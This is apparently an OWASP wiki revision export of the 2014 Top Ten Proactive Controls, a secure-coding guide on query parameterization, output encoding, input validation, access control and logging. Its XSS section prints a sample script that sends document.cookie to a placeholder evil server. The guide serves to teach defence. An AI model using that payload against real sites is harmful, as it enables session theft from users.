Contextual output encoding is a crucial programming technique needed to stop XSS. This is performed on output, when you’re building a user interface, at the last moment before untrusted data is dynamically added to HTML. Forms of encoding needing to stop XSS include HTML Entity Encoding, JavaScript Encoding and Percent Encoding (aka URL Encoding). Encoding needed to stop other forms of injection include Unix encoding, Windows encoding, LDAP encoding, XML encoding and others. OWASP's Enterprise Security API (ESAPI) provides encoders for these functions in Java. In .NET 4.5, the [http://msdn.microsoft.com/en-us/library/system.web.security.antixss.antixssencoder%28v=vs.110%29.aspx AntiXssEncoder Class] provides CSS, HTML, URL, JavaScriptString and XML encoders - other encoders for LDAP and VBScript are included in the open source AntiXSS library.&lt;br /&gt;
&lt;br /&gt;
'''Key References'''&lt;br /&gt;
* Stopping XSS in your web application: OWASP [[XSS (Cross Site Scripting) Prevention Cheat Sheet]]&lt;br /&gt;
* General information about injection: [[Top 10 2013-A1-Injection]]&lt;br /&gt;
&lt;br /&gt;
'''Key Tools'''&lt;br /&gt;
* [https://www.owasp.org/index.php/OWASP_Java_Encoder_Project OWASP Java Encoder Project]&lt;br /&gt;
* [http://msdn.microsoft.com/en-us/security/aa973814.aspx Microsoft .NET AntiXSS Library]&lt;br /&gt;
* [https://www.owasp.org/index.php/Category:OWASP_Enterprise_Security_API OWASP ESAPI]&lt;br /&gt;
* [https://www.owasp.org/index.php/OWASP_Encoder_Comparison_Reference_Project OWASP Encoder Comparison Reference Project]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
== 3: Validate All Inputs ==&lt;br /&gt;
&lt;br /&gt;
It is critical to treat all input from outside of the application (for example, from browsers or mobile clients, from outside systems or files) as untrusted. For web applications this includes HTTP headers, cookies, and GET and POST parameters: any or all of this data could be compromised by an attacker.&lt;br /&gt;
&lt;br /&gt;
One of the most important ways to build a secure web application is to limit what input a user is allowed to submit to your web application. Limiting user input is a technique called “input validation”. Input validation is most often built into web applications in server-side code using regular expressions. Regular expressions are a kind of code syntax that can help tell if a string matches a certain pattern. Secure programmers can use regular expressions to help define what good user input should look like.&lt;br /&gt;
	&lt;br /&gt;
There are two types of input validation: “white list&amp;quot; validation and &amp;quot;black list&amp;quot; validation. White list validation seeks to define what good input should look like.  Any input that does not meet this “good input” definition should be rejected. “Black list” validation seeks to detect known attacks and only reject those attacks or bad characters. “Black list” validation is much more difficult to build into your applications effectively because it can be bypassed through encoding and other obfuscation techniques, and is not recommended when building a secure web application. The following examples will focus on white list validation examples.&lt;br /&gt;
&lt;br /&gt;
When a user first registers for an account with our web application, some of the first things we ask a user to provide for us would be a username, password and email address. If this input came from a malicious user, the input could contain dangerous attacks that could harm our web application! One of the ways we can make attacking this web application more difficult is to use regular expressions to validate the user input from this form.&lt;br /&gt;
&lt;br /&gt;
Let’s start with the following regular expression for the username. &lt;br /&gt;
&lt;br /&gt;
 ^[a-z0-9_]{3,16}$&lt;br /&gt;
&lt;br /&gt;
This regular expression input validation white list of good characters only allows lowercase letters, numbers and the underscore character. The size of the username is also being limited to 3-16 characters in this example. &lt;br /&gt;
&lt;br /&gt;
Here is an example regular expression for the password field.&lt;br /&gt;
&lt;br /&gt;
 ^(?=.*[a-z])(?=.*[A-Z]) (?=.*\d) (?=.*[@#$%]).{10,64}$&lt;br /&gt;
&lt;br /&gt;
This regular expression ensures that a password is 10 to 64 characters in length and includes a uppercase letter, a lowercase letter, a number and a special character (one or more uses of @, #, $, or %).&lt;br /&gt;
&lt;br /&gt;
Here is an example regular expression for an email address (per the HTML5 specification http://www.w3.org/TR/html5/forms.html#valid-e-mail-address).&lt;br /&gt;
&lt;br /&gt;
 ^[a-zA-Z0-9.!#$%&amp;amp;'*+/=?^_`{|}~-]+@[a-zA-Z0-9-]+(?:\.[a-zA-Z0-9-]+)*$&lt;br /&gt;
&lt;br /&gt;
There are special cases for validation where regular expressions are not enough. If your application handles markup -- untrusted input that is supposed to contain HTML -- it can be very difficult to validate. Encoding is also difficult, since it would break all the tags that are supposed to be in the input. Therefore, you need a library that can parse and clean HTML formatted text such as the [[OWASP Java HTML Sanitizer]]. A regular expression is not the right tool to parse and sanitize untrusted HTML.&lt;br /&gt;
&lt;br /&gt;
Here we illustrate one of the unfortunate truisms about input validation: input validation does not necessarily make untrusted input “safe” especially when dealing with “open text input” where complete sentences from users need to be accepted.&lt;br /&gt;
&lt;br /&gt;
'''Key References''' &lt;br /&gt;
* [[Input Validation Cheat Sheet]]&lt;br /&gt;
&lt;br /&gt;
'''Key Tools'''&lt;br /&gt;
* [https://www.owasp.org/index.php/OWASP_JSON_Sanitizer OWASP JSON Sanitizer Project]&lt;br /&gt;
* [https://www.owasp.org/index.php/OWASP_Java_HTML_Sanitizer OWASP Java HTML Sanitizer Project]&lt;br /&gt;
* [http://commons.apache.org/proper/commons-validator/ Apache Commons Validator]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
== 4: Implement Appropriate Access Controls ==&lt;br /&gt;
&lt;br /&gt;
Authorization (Access Control) is the process where requests to access a particular feature of resource should be granted or denied. It should be noted that authorization is not equivalent to authentication (verifying identity). These terms and their definitions are frequently confused. &lt;br /&gt;
&lt;br /&gt;
Access Control can be a rather complex and design-heavy security control. The following &amp;quot;positive&amp;quot; access control design requirements should be considered at the initial stages of application development. Once you have chosen a specific access control design pattern, it is often difficult and time consuming to re-engineer access control in your application with a new pattern. Access Control is one of the main areas of application security software design that must be heavily thought-through up front. &lt;br /&gt;
&lt;br /&gt;
=== Force all requests to go through access control checks ===&lt;br /&gt;
Most frameworks and languages only check a feature for access control if a programmer adds that check. The opposite is a more security-centric design. Consider using a filter or other automatic mechanism to ensure that all requests go through some kind of access control check.&lt;br /&gt;
&lt;br /&gt;
=== Deny by default ===&lt;br /&gt;
In line with automatic access control checking, consider denying all access control checks for features that have not been configured for access control. Normally the opposite is true in that newly created features automatically grant users full access until a developer has added that check. &lt;br /&gt;
 &lt;br /&gt;
=== Avoid hard-coded policy-based access control checks in code ===&lt;br /&gt;
Very often, access control policy is hard-coded deep in application code. This makes auditing or proving the security of that software very difficult and time consuming. Access control policy and application code, when possible, should be separated. Another way of saying this is that your enforcement layer (checks in code) and your access control decision making process (the access control &amp;quot;engine&amp;quot;) should be separated when possible. &lt;br /&gt;
&lt;br /&gt;
=== Code to the activity ===&lt;br /&gt;
Most web frameworks use role based access control as the primary method for coding enforcement points in code. While it's acceptable to use roles in access control mechanisms, coding specifically to the role in application code is an anti-pattern. Considering checking if the user has access to that feature in code, as opposed to checking what role the user is in code.&lt;br /&gt;
&lt;br /&gt;
=== Server-side trusted data should drive access control ===&lt;br /&gt;
The vast majority of data you need to make an access control decision (who is the user and are they logged in, what entitlements does the user have, what is the access control policy, what feature and data is being requested, what time is it, what geolocation is it, etc) should be retrieved &amp;quot;server-side&amp;quot; in a standard web or web service application.  Policy data such as a user's role or an access control rule should never be part of the request. In a standard web application, the only client-side data that is needed for access control is the id or ids of the data being accessed. Most all other data needed to make an access control decision should be retrieved server-side.&lt;br /&gt;
&lt;br /&gt;
'''Key References'''&lt;br /&gt;
* [[Access Control Cheat Sheet]]&lt;br /&gt;
&lt;br /&gt;
'''Key Tool'''&lt;br /&gt;
* [https://www.owasp.org/index.php/OWASP_PHPRBAC_Project OWASP PHPRBAC Project]&lt;br /&gt;
* [http://shiro.apache.org/authorization-features.html Apache Shiro Authorization features]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
== 5: Establish Identity and Authentication Controls ==&lt;br /&gt;
&lt;br /&gt;
Authentication is the process of verifying that an individual or an entity is who it claims to be. Authentication is commonly performed by submitting a user name or ID and one or more items of private information that only a given user should know.&lt;br /&gt;
&lt;br /&gt;
Session Management is a process by which a server maintains the state of an entity interacting with it. This is required for a server to remember how to react to subsequent requests throughout a transaction. Sessions are maintained on the server by a session identifier which can be passed back and forward between the client and server when transmitting and receiving requests. Sessions should be unique per user and computationally very difficult to predict.&lt;br /&gt;
&lt;br /&gt;
Identity management is a broader topic that not only includes authentication and session management, but also covers advanced topics like identity federation, single sign on, password-management tools, identity repositories and more.&lt;br /&gt;
&lt;br /&gt;
'''Key References'''&lt;br /&gt;
* [[Authentication Cheat Sheet]]&lt;br /&gt;
* [[Password Storage Cheat Sheet]]&lt;br /&gt;
* [[Forgot Password Cheat Sheet]] &lt;br /&gt;
* [[Session Management Cheat Sheet]]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
== 6: Protect Data and Privacy ==&lt;br /&gt;
&lt;br /&gt;
=== Use Encryption in Transit ===&lt;br /&gt;
&lt;br /&gt;
When transmitting sensitive data, at any tier of your application or network architecture, encryption-in-transit of some kind should be considered. SSL/TLS is by far the most common and widely supported model used by web applications for encryption in transit. &lt;br /&gt;
&lt;br /&gt;
'''Key References'''&lt;br /&gt;
* Proper SSL/TLS configuration: [[Transport Layer Protection Cheat Sheet]]&lt;br /&gt;
* Protecting users from man-in-the-middle attacks via fraudulent SSL certificates: [[Pinning Cheat Sheet]]&lt;br /&gt;
&lt;br /&gt;
=== Use Encryption at Rest ===&lt;br /&gt;
&lt;br /&gt;
Cryptographic storage is difficult to build securely. It's critical to classify data in your system and determine that data needs to be encrypted, such as the need to encrypt credit cards per the PCI compliance standard. Also, any time you start building your own low-level crypto on your own, ensure you are or have the assistance of a deep applied crypto expert. Consider well vetted cryptographic libraries such as the [https://code.google.com/p/keyczar/ Google KeyCzar] project. Also, be prepared to handle the more difficult aspects of applied crypto such as key management, overall cryptographic architecture design as well as tiering and trust issues in complex software. &lt;br /&gt;
 &lt;br /&gt;
'''Key References'''&lt;br /&gt;
* Information on low level decisions necessary when encrypting data at rest: [[Cryptographic Storage Cheat Sheet]] &lt;br /&gt;
* [[Password Storage Cheat Sheet]]&lt;br /&gt;
&lt;br /&gt;
'''Key Tools'''&lt;br /&gt;
* [https://www.owasp.org/index.php/O-Saft OWASP SSL Audit for Testers]&lt;br /&gt;
* [https://code.google.com/p/keyczar/ Google KeyCzar]&lt;br /&gt;
&lt;br /&gt;
=== Implement Protection in Process ===&lt;br /&gt;
&lt;br /&gt;
Make sure that confidential or sensitive data is not exposed by accident during processing. It may be more accessible in memory; it may be stored in temporary locations or in logs.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
== 7: Implement Logging and Intrusion Detection ==&lt;br /&gt;
&lt;br /&gt;
Application logging should not be an afterthought or limited to debugging and troubleshooting. Logging is also used in other important activities:&lt;br /&gt;
&lt;br /&gt;
* Application monitoring&lt;br /&gt;
* Business analytics and insight&lt;br /&gt;
* Activity auditing and compliance monitoring&lt;br /&gt;
* System intrusion detection&lt;br /&gt;
* Forensics&lt;br /&gt;
&lt;br /&gt;
Use a common logging approach to ensure that all log entries are consistent, and contain essential information including source and timestamp.&lt;br /&gt;
&lt;br /&gt;
Process monitoring, audit and transaction logs/trails etc are usually collected for different purposes than security event logging, and this often means they should be kept separate. The types of events and details collected will tend to be different. For example a PCI DSS audit log will contain a chronological record of activities to provide an independently verifiable trail that permits reconstruction, review and examination to determine the original sequence of attributable transactions. &lt;br /&gt;
&lt;br /&gt;
It is important not to log too much, or too little - be careful not to log private or confidential data or secrets. Use knowledge of the intended purposes to guide what, when and how much. To protect from Log Injection aka Log Forging, make sure to perform validation or encoding on untrusted data before logging it.&lt;br /&gt;
&lt;br /&gt;
The [[OWASP AppSensor Project]] is a conceptual framework and methodology that offers prescriptive guidance to implement intrusion detection and automated response into an existing application: where to add sensors or [https://www.owasp.org/index.php/AppSensor_DetectionPoints detection points] and what [https://www.owasp.org/index.php/AppSensor_ResponseActions response actions] to take when an exception is encountered in your application.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
'''Key References'''&lt;br /&gt;
* How to properly implement logging in an application: [[Logging Cheat Sheet]]&lt;br /&gt;
&lt;br /&gt;
'''Key Tool'''&lt;br /&gt;
* [[OWASP AppSensor Project]]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
== 8: Leverage Security Features of Frameworks and Security Libraries ==&lt;br /&gt;
&lt;br /&gt;
Starting from scratch when it comes to developing security controls for every web application, web service or mobile application leads to wasted time and massive security holes. Secure coding libraries help software developers guard against security-related design and implementation flaws.&lt;br /&gt;
&lt;br /&gt;
When possible, the emphasis should be on using the existing features of frameworks rather than importing third party libraries. It is preferable to have developers take advantage of what they're already using instead of foisting yet another library on them. Web application security frameworks to consider include:&lt;br /&gt;
&lt;br /&gt;
* [http://static.springsource.org/spring-security/site/index.html Spring Security]&lt;br /&gt;
* [http://shiro.apache.org/ Apache Shiro]&lt;br /&gt;
&lt;br /&gt;
It is critical to keep these frameworks and libraries up to date as described in the [https://www.owasp.org/index.php/Top_10_2013-A9-Using_Components_with_Known_Vulnerabilities &amp;lt;i&amp;gt;using components with known vulnerabilities&amp;lt;/i&amp;gt; Top Ten 2013 risk].&lt;br /&gt;
&lt;br /&gt;
'''Key References'''&lt;br /&gt;
* [https://www.owasp.org/index.php/PHP_Security_Cheat_Sheet PHP Security Cheat Sheet]&lt;br /&gt;
* [https://www.owasp.org/index.php/.NET_Security_Cheat_Sheet .NET Security Cheat Sheet]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
== 9: Include Security-Specific Requirements ==&lt;br /&gt;
&lt;br /&gt;
There are three basic categories of security requirements that can be defined early-on in a software development project:&lt;br /&gt;
&lt;br /&gt;
1) '''Security Features and Functions''': the visible application security controls for the system, including authentication, access control and auditing functions. These requirements are often defined by use cases or user stories which include input, behavior and output, and can be reviewed and tested for functional correctness by Q/A staff. For example, checking for re-authentication during change password or checking to make sure that changes to certain data were properly logged.&lt;br /&gt;
&lt;br /&gt;
2) '''Business Logic Abuse Cases''':  Business logic features include multi-step multi-branch workflows that are difficult to evaluate thoroughly and involve money or valuable items, user credentials, private information or command/control functions, for example eCommerce workflows, shipping route choices, or banking transfer validation. The user stories or use cases for these requirements should include exceptions and failure scenarios (what happens if a step fails or times out or if the user tries to cancel or repeat a step?) and requirements derived from &amp;quot;abuse cases&amp;quot;.  Abuse cases describe how the application's functions could be subverted by attackers. Walking through failures and abuse case scenarios will uncover weaknesses in validation and error handling that impact the reliability and security of the application.&lt;br /&gt;
&lt;br /&gt;
3) '''Data Classification and Privacy Requirements''': developers must always be aware of any personal or confidential information in the system and make sure that this data is protected. What is the source of the data? Can the source be trusted? Where is the data stored or displayed? Does it have to be stored or displayed? Who is authorized to create it, see it, change it, and is all of this tracked? This will drive the need for data validation, access control, encryption, and auditing and logging controls in the system.&lt;br /&gt;
&lt;br /&gt;
'''Key References'''&lt;br /&gt;
* [[OWASP Application Security Verification Standard Project]]&lt;br /&gt;
* [https://www.owasp.org/index.php/Category:Software_Assurance_Maturity_Model Software Assurance Maturity Model]&lt;br /&gt;
* [[Business Logic Security Cheat Sheet]]&lt;br /&gt;
* [[Testing for business logic (OWASP-BL-001)]]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
== 10: Design and Architect Security In ==&lt;br /&gt;
&lt;br /&gt;
There are several areas where you need to be concerned about security in the architecture and design of a system. These include:&lt;br /&gt;
&lt;br /&gt;
1) '''Know your Tools''': Your choice of language(s) and platform (O/S, web server, messaging, database or NOSQL data manager) will result in technology-specific security risks and considerations that the development team must understand and manage.&lt;br /&gt;
&lt;br /&gt;
2) '''Tiering, Trust and Dependencies''': Another important part of secure architecture and design is tiering and trust. Deciding what controls to enforce at the client, the web layer, the business logic layer, the data management layer, and where to establish trust between different systems or different parts of the same system. Trust boundaries determine where to make decisions about authentication, access control, data validation and encoding, encryption and logging. Data, sources of data and services inside a trust boundary can be trusted - anything outside of a trust boundary cannot be. When designing or changing the design or a system, make sure to understand assumptions about trust, make sure that these assumptions are valid, and make sure that they are followed consistently.&lt;br /&gt;
&lt;br /&gt;
3) '''Manage the Attack Surface''': Be aware of the system's Attack Surface, the ways that attackers can get in, or get data out, of the system. Recognize when you are increasing the Attack Surface, and use this to drive risk assessments (should you do threat modeling or plan for additional testing). Are you introducing a new API or changing a high-risk security function of the system, or are you simply adding a new field to an existing page or file?&lt;br /&gt;
&lt;br /&gt;
'''Key References'''&lt;br /&gt;
* [https://www.owasp.org/index.php/Category:Software_Assurance_Maturity_Model Software Assurance Maturity Model (OpenSAMM)]&lt;br /&gt;
* [https://www.owasp.org/index.php/Category:OWASP_Application_Security_Verification_Standard_Project Application Security Verification Standard Project]&lt;br /&gt;
* [https://www.owasp.org/index.php/Application_Security_Architecture_Cheat_Sheet Application Security Architecture Cheat Sheet]&lt;br /&gt;
* [[Attack Surface Analysis Cheat Sheet]]&lt;br /&gt;
* [[Threat Modeling Cheat Sheet]]&lt;br /&gt;
&lt;br /&gt;
= Formal Numbering =&lt;br /&gt;
&lt;br /&gt;
* OWASP-C1: Parameterize Queries&lt;br /&gt;
* OWASP-C2: Encode Data&lt;br /&gt;
* OWASP-C3: Validate All Inputs&lt;br /&gt;
* OWASP-C4: Implement Appropriate Access Controls&lt;br /&gt;
* OWASP-C5: Establish Identity and Authentication Controls&lt;br /&gt;
* OWASP-C6: Protect Data and Privacy&lt;br /&gt;
* OWASP-C7: Implement Logging, Error Handling and Intrusion Detection&lt;br /&gt;
* OWASP-C8: Leverage Security Features of Frameworks and Security Libraries&lt;br /&gt;
* OWASP-C9: Include Security-Specific Requirements&lt;br /&gt;
* OWASP-C10: Design and Architect Security In&lt;br /&gt;
&lt;br /&gt;
= Project Roadmap =&lt;br /&gt;
&lt;br /&gt;
Welcome to the OWASP Top 10 Proactive Controls Project! &lt;br /&gt;
&lt;br /&gt;
== Roadmap ==&lt;br /&gt;
&lt;br /&gt;
End of July: Release final document in well designed PDF form&lt;br /&gt;
&lt;br /&gt;
== Status ==&lt;br /&gt;
&lt;br /&gt;
March 10, 2014: We released an early beta of this document to the OWASP leaders list for review and commentary.&amp;lt;br/&amp;gt;&lt;br /&gt;
February 3, 2014: We are currently working towards a beta release of this document and have begun working with a designer for the final release PDF.&lt;br /&gt;
&lt;br /&gt;
__NOTOC__ &amp;lt;headertabs /&amp;gt;&lt;br /&gt;
&lt;br /&gt;
[[Category:OWASP_Project|OWASP Proactive Controls]] [[Category:OWASP_Builders]] [[Category:OWASP_Defenders]] [[Category:OWASP_Document]]&lt;/div&gt;</summary>
		<author><name>Jim Bird</name></author>	</entry>

	<entry>
		<id>https://wiki.owasp.org/index.php?title=OWASP_Proactive_Controls&amp;diff=176680</id>
		<title>OWASP Proactive Controls</title>
		<link rel="alternate" type="text/html" href="https://wiki.owasp.org/index.php?title=OWASP_Proactive_Controls&amp;diff=176680"/>
				<updated>2014-06-09T16:15:01Z</updated>
		
		<summary type="html">&lt;p&gt;Jim Bird: &lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;= Main = &lt;br /&gt;
&amp;lt;div style=&amp;quot;width:100%;height:160px;border:0,margin:0;overflow: hidden;&amp;quot;&amp;gt;[[File:Proactive-header.jpg|link=]]&amp;lt;/div&amp;gt;&lt;br /&gt;
&lt;br /&gt;
{| style=&amp;quot;padding: 0;margin:0;margin-top:10px;text-align:left;&amp;quot; |-&lt;br /&gt;
| valign=&amp;quot;top&amp;quot;  style=&amp;quot;border-right: 1px dotted gray;padding-right:25px;&amp;quot; |&lt;br /&gt;
&lt;br /&gt;
== OWASP Proactive Controls ==&lt;br /&gt;
&lt;br /&gt;
Software developers are the foundation of any application. In order to achieve secure software, developers must be supported and helped by the organization they author code for. As software developers author the code that makes up a web application, they need to embrace and practice a wide variety of secure coding techniques. All tiers of a web application, the user interface, the business logic, the controller, the database code and more – all need to be developed with security in mind. This can be a very difficult task and developers are often set up for failure. Most developers did not learn about secure coding or crypto in school. The languages and frameworks that developers use to build web applications are often lacking critical core controls or are insecure by default in some way. It is also very rare when organizations provide developers with prescriptive requirements that guide them down the path of secure software. And even when they do, there may be inherent flaws in requirements and designs.  When it comes to web security, developers are often set up to lose the security game.&lt;br /&gt;
&lt;br /&gt;
The OWASP Top Ten Proactive Controls is a list of security techniques that should be included in every software development project. This document was written by developers for developers to assist those new to secure development.&lt;br /&gt;
&lt;br /&gt;
* 1: Parameterize Queries&lt;br /&gt;
* 2: Encode Data&lt;br /&gt;
* 3: Validate All Inputs&lt;br /&gt;
* 4: Implement Appropriate Access Controls&lt;br /&gt;
* 5: Establish Identity and Authentication Controls&lt;br /&gt;
* 6: Protect Data and Privacy&lt;br /&gt;
* 7: Implement Logging, Error Handling and Intrusion Detection&lt;br /&gt;
* 8: Leverage Security Features of Frameworks and Security Libraries&lt;br /&gt;
* 9: Include Security-Specific Requirements&lt;br /&gt;
* 10: Design and Architect Security In&lt;br /&gt;
&lt;br /&gt;
For more information, see the complete document in the tab to the right.&lt;br /&gt;
&lt;br /&gt;
==Licensing==&lt;br /&gt;
&lt;br /&gt;
The OWASP Proactive Controls document is free to use under the [https://creativecommons.org/licenses/by-sa/3.0/us/ Creative Commons ShareAlike 3 License].&lt;br /&gt;
&lt;br /&gt;
| valign=&amp;quot;top&amp;quot;  style=&amp;quot;padding-left:25px;width:200px;border-right: 1px dotted gray;padding-right:25px;&amp;quot; |&lt;br /&gt;
&lt;br /&gt;
== What is This? ==&lt;br /&gt;
&lt;br /&gt;
The OWASP Top Ten Proactive Controls describes the top control and control categories that every architect and developer should absolutely, 100% include in every project.&lt;br /&gt;
&lt;br /&gt;
== Project Leaders ==&lt;br /&gt;
&lt;br /&gt;
* [https://www.owasp.org/index.php/User:Jmanico Jim Manico] [mailto:jim.manico@owasp.org @]&lt;br /&gt;
* [https://www.owasp.org/index.php/User:Jim_Bird Jim Bird] [mailto:jimbird@shaw.ca @]&lt;br /&gt;
&lt;br /&gt;
== Key Contributors ==&lt;br /&gt;
&lt;br /&gt;
* Danny Harris [mailto:danny.harris@owasp.org @]&lt;br /&gt;
* Stephen de Vries&lt;br /&gt;
* Andrew Van Der Stock&lt;br /&gt;
* Gaz Heyes&lt;br /&gt;
* Colin Watson&lt;br /&gt;
&lt;br /&gt;
== Related Projects ==&lt;br /&gt;
&lt;br /&gt;
* [[OWASP Top Ten Project]]&lt;br /&gt;
* [[OWASP Mobile Security Project]]&lt;br /&gt;
* [[Cheat Sheets]]&lt;br /&gt;
&lt;br /&gt;
| valign=&amp;quot;top&amp;quot;  style=&amp;quot;padding-left:25px;width:200px;&amp;quot; |&lt;br /&gt;
&lt;br /&gt;
== Quick Access ==&lt;br /&gt;
&lt;br /&gt;
* Top Ten Proactive Controls 2014 [https://www.owasp.org/index.php/OWASP_Proactive_Controls#tab=OWASP_Top_Ten_Proactive_Controls full description].&lt;br /&gt;
&lt;br /&gt;
== News and Events ==&lt;br /&gt;
* [10 Mar 2014] [http://lists.owasp.org/pipermail/owasp-leaders/2014-March/011047.html Request for review]&lt;br /&gt;
* [04 Feb 2014] New Wiki Template!&lt;br /&gt;
&lt;br /&gt;
== Mailing List ==&lt;br /&gt;
&lt;br /&gt;
Keep up-to-date via the [https://lists.owasp.org/mailman/listinfo/owasp_proactive_controls Project Email List].&lt;br /&gt;
&lt;br /&gt;
==Classifications==&lt;br /&gt;
&lt;br /&gt;
   {| width=&amp;quot;200&amp;quot; cellpadding=&amp;quot;2&amp;quot;&lt;br /&gt;
   |-&lt;br /&gt;
   | align=&amp;quot;center&amp;quot; valign=&amp;quot;top&amp;quot; width=&amp;quot;50%&amp;quot; rowspan=&amp;quot;2&amp;quot;| [[File:Owasp-incubator-trans-85.png|link=https://www.owasp.org/index.php/OWASP_Project_Stages#tab=Incubator_Projects]]&lt;br /&gt;
   | align=&amp;quot;center&amp;quot; valign=&amp;quot;top&amp;quot; width=&amp;quot;50%&amp;quot;| [[File:Owasp-builders-small.png|link=]]  &lt;br /&gt;
   |-&lt;br /&gt;
   | align=&amp;quot;center&amp;quot; valign=&amp;quot;top&amp;quot; width=&amp;quot;50%&amp;quot;| [[File:Owasp-defenders-small.png|link=]]&lt;br /&gt;
   |-&lt;br /&gt;
   | colspan=&amp;quot;2&amp;quot; align=&amp;quot;center&amp;quot;  | [[File:Cc-button-y-sa-small.png|link=http://creativecommons.org/licenses/by-sa/3.0/]]&lt;br /&gt;
   |-&lt;br /&gt;
   | colspan=&amp;quot;2&amp;quot; align=&amp;quot;center&amp;quot;  | [[File:Project_Type_Files_DOC.jpg|link=]]&lt;br /&gt;
   |}&lt;br /&gt;
&lt;br /&gt;
|}&lt;br /&gt;
&lt;br /&gt;
= OWASP Top Ten Proactive Controls =&lt;br /&gt;
&lt;br /&gt;
Software developers are the foundation of any application. In order to achieve secure software, developers must be supported and helped by the organization they author code for. As software developers author the code that makes up a web application, they need to embrace and practice a wide variety of secure coding techniques. All tiers of a web application, the user interface, the business logic, the controller, the database code and more – all need to be developed with security in mind. This can be a very difficult task and developers are often set up for failure. Most developers did not learn about secure coding or crypto in school. The languages and frameworks that developers use to build web applications are often lacking critical core controls or are insecure by default in some way. There may be inherent flaws in requirements and designs. It is also very rare when organizations provide developers with prescriptive requirements that guide them down the path of secure software. When it comes to web security, developers are often set up to lose the security game. &lt;br /&gt;
&lt;br /&gt;
This document was written by developers for developers, to assist those new to secure development.  It aims to guide developers and other software development professionals down the path of secure web application software development.&lt;br /&gt;
&lt;br /&gt;
There are more than 10 issues that developers need to be aware of.  Some of these “top ten” controls will be very specific, others will be general categories. Some of these items are technical, others are process based. Some may argue that this document includes items that are not even controls at all. All of these concerns are fair. Again, this is an awareness document meant for those new to secure software development. It is a start, not an end.&lt;br /&gt;
 &lt;br /&gt;
The number of people who influenced or contributed to this document in some way is to numerous to mentioned. I would also like to thank the entire [[Cheat Sheets]] series team whose content has been pulled from liberally for this document.  &lt;br /&gt;
&lt;br /&gt;
Introducing the OWASP Top Ten Proactive Controls 2014. &lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
== 1: Parameterize Queries ==&lt;br /&gt;
&lt;br /&gt;
SQL Injection is one of the most dangerous web application risks due to the fact that SQL Injection is both easy to exploit and can deliver an impact to your application that is devastating.&lt;br /&gt;
&lt;br /&gt;
The simple insertion of malicious SQL code into your web application – and the entire database could potentially be stolen, wiped, modified. The web application can even be used to run dangerous operating system commands against the operating system hosting your database.   &lt;br /&gt;
&lt;br /&gt;
To stop SQL injection, developers must prevent untrusted input from being interpreted as part of a SQL command. The best way to do this is with the programming technique known as Query Parameterization.&lt;br /&gt;
&lt;br /&gt;
Here is an example of Query Parameterization in Java:&lt;br /&gt;
&lt;br /&gt;
 String newName = request.getParameter(&amp;quot;newName&amp;quot;);&lt;br /&gt;
 String id = request.getParameter(&amp;quot;id&amp;quot;);&lt;br /&gt;
 PreparedStatement pstmt = con.prepareStatement(&amp;quot;UPDATE EMPLOYEES SET NAME = ? WHERE ID = ?&amp;quot;);  &lt;br /&gt;
 pstmt.setString(1, newName); &lt;br /&gt;
 pstmt.setString(2, id);&lt;br /&gt;
&lt;br /&gt;
Here is an example of query parameterization in PHP:&lt;br /&gt;
&lt;br /&gt;
 $email  = $_REQUEST[‘email’];&lt;br /&gt;
 $ id’= $_REQUEST[‘id’];&lt;br /&gt;
 $stmt = $dbh-&amp;gt;prepare(”update users set email=:new_email where id=:user_id”); &lt;br /&gt;
 $stmt-&amp;gt;bindParam(':new_email', $email);&lt;br /&gt;
 $stmt-&amp;gt;bindParam(':user_id', $id);&lt;br /&gt;
&lt;br /&gt;
'''Key References'''&lt;br /&gt;
* [[Query Parameterization Cheat Sheet]]&lt;br /&gt;
* [https://www.owasp.org/index.php/OWASP_Secure_Coding_Practices_-_Quick_Reference_Guide OWASP Secure Coding Practices Quick Reference Guide]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
== 2: Encode Data ==&lt;br /&gt;
&lt;br /&gt;
Encoding is a powerful mechanism to help protect against many types of attack, especially injection attacks. Essentially, encoding involves translating special characters into some equivalent that is no longer significant in the target interpreter. A specific example of encoding is output encoding necessary to prevent Cross Site Scripting. &lt;br /&gt;
&lt;br /&gt;
Web developers often build web pages dynamically, consisting of a mix of developer built HTML/JavaScript and database data that was originally populated with user input. This input should be considered to be untrusted data and dangerous, which requires special handling when building a secure web application. Cross Site Scripting (XSS) or, to give it its proper definition, JavaScript injection, occurs when an attacker tricks your users into executing malicious JavaScript that was not originally built into your website. XSS attacks execute in the user's browser and can have a wide variety of effects. &lt;br /&gt;
&lt;br /&gt;
For example:&lt;br /&gt;
&lt;br /&gt;
XSS site defacement:&lt;br /&gt;
&lt;br /&gt;
 &amp;lt;script&amp;gt;document.body.innerHTML(“Jim was here”);&amp;lt;/script&amp;gt;&lt;br /&gt;
&lt;br /&gt;
XSS session theft:&lt;br /&gt;
&lt;br /&gt;
 &amp;lt;script&amp;gt;&lt;br /&gt;
 var img = new Image();&lt;br /&gt;
 img.src=&amp;amp;quot;hxxp://&amp;lt;some evil server&amp;gt;.com?” + document.cookie;&lt;br /&gt;
 &amp;lt;/script&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Persistent XSS (or Stored XSS) occurs when an XSS attack can be embedded in a website database or filesystem.  This flavor of XSS is more dangerous because users will already be logged into the site when the attack is executed.  Reflected XSS occurs when the attacker places an XSS attack at the end of a URL and tricks a victim into visiting that URL. When a victim visits this URL, the XSS attack is launched.  This type of XSS is less dangerous since the victim needs to be tricked into visiting the dangerous link and must already be logged into the site.&lt;br /&gt;
&lt;br /&gt;
